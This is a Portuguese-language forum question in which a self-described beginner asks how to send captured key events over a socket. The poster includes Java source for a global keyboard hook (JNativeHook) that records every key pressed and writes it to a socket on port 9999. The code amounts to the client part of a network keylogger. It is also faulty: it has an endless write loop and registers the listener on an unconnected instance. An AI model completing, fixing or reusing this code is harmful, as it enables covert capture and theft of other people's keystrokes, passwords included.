Como faço para passar o conteudo de um Keylistener por um socket

18/03/2016

1

se alguém pudesse me ajudar eu gostaria de saber como posso passar o conteúdo de um KeyListener por um socket pois nao sei programar muito bem sou apenas curioso em programação java

essa sao as duas Classes:


import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.Socket;
import java.net.UnknownHostException;
import java.util.Scanner;

import org.jnativehook.GlobalScreen;
import org.jnativehook.keyboard.NativeKeyEvent;
import org.jnativehook.keyboard.NativeKeyListener;



public  class Cliente implements NativeKeyListener   {

	NativeKeyListener e;
	Socket cliente;
	String dados ;
	
	
	
	
	public void conectaServidor(){
		
		try {
			
			cliente = new Socket("127.0.0.1", 9999);
			
			
		} catch (UnknownHostException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		} catch (IOException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}	
		
		
	}
	
	public void Escrever(){
		try {
			
			
			
			PrintWriter escritor = new PrintWriter(cliente.getOutputStream(), true);
			
			
		String mensagem = " ";
			
			   mensagem = dados;
			
			while(true){
				
                mensagem = dados;				
				escritor.println(mensagem);
				escritor.println(dados);
				escritor.flush();
			}
			
			
								
		} catch (IOException ex) {
			
			ex.printStackTrace();
		}
				
	}
		
	public void Jnative(){
		
         try{
        	 
        	 GlobalScreen.registerNativeHook();
        	 
         }catch(Exception e){
        	 
        	 e.printStackTrace();
         }
		
         GlobalScreen.getInstance().addNativeKeyListener(new Cliente());
	
         
	}

	@Override
	public void nativeKeyPressed(NativeKeyEvent re) {
		 
		dados = re.getKeyText(re.getKeyCode());
		
		this.Escrever();
		
	}

	@Override
	public void nativeKeyReleased(NativeKeyEvent arg0) {
		// TODO Auto-generated method stub
		
	}

	@Override
	public void nativeKeyTyped(NativeKeyEvent arg0) {
		// TODO Auto-generated method stub
		
	}

	
}
	


public class ClienteExecutavel  {

	
	public static void main(String[] args) {
						
		 Cliente c = new Cliente();	
		
		             c.conectaServidor();
		             c.Jnative();
	
					 	
	}	


	
}
Responder